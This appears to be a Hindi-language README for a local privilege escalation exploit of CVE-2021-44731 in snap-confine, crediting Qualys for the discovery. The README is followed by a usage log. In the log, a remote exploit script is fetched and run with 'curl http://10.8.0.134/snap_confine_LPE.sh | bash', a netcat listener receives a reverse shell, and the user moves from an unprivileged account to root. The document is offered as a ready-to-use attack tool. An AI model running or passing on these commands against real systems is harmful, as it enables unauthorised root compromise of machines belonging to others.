
लोकल प्रिविलेज एस्केलेशन एक्सप्लॉइट CVE-2021-44731 के लिए जो snap-confine के संस्करण 2.54.2 और उससे निचले संस्करणों को लक्षित करता है। स्वचालित रूप से कमजोर बाइनरी का पता लगाता है और netcat के माध्यम से रूट शेल प्रदान करता है।
CVE-2021-44731, snap-confine 2.54.2 और उससे निचले संस्करणों के लिए स्थानीय विशेषाधिकार वृद्धि शोषण
इसे खोजने और विस्तृत शोषण प्रदान करने के लिए सारा श्रेय Qualys को जाता है।
https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt
त्वरित और गंदा snap-confine LPE। snap-confine के कमजोर संस्करण की खोज करेगा, यदि मिला तो शोषण करेगा।
रूट शेल लौटाता है, netcat से पकड़ें
$id
uid=1001(vulnchain) gid=1001(vulnchain) groups=1001(vulnchain)
$ curl http://10.8.0.134/snap_confine_LPE.sh | bash
curl http://10.8.0.134/snap_confine_LPE.sh | bash
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2073 100 2073 0 0 28397 0 --:--:-- --:--:-- --:--:-- 28013
Non-vulnerable version found: 2.54.3
Vulnerable version found: 2.44.3 at /usr/lib/snapd/snap-confine
Vulnerable version found: 2.44.3 at /home/vulnchain/snap-confine
Performing actions with a vulnerable version...
Chosen vulnerable version: 2.44.3
┌──(root㉿kali)-[~]
└─# nc -lvnp 4447
listening on [any] 4447 ...
connect to [10.8.0.134] from (UNKNOWN) [10.10.111.136] 56050
bash: cannot set terminal process group (609): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-10-10-14:/# id
id
uid=0(root) gid=0(root) groups=0(root),1001(vulnchain)
root@ip-10-10-10-14:/#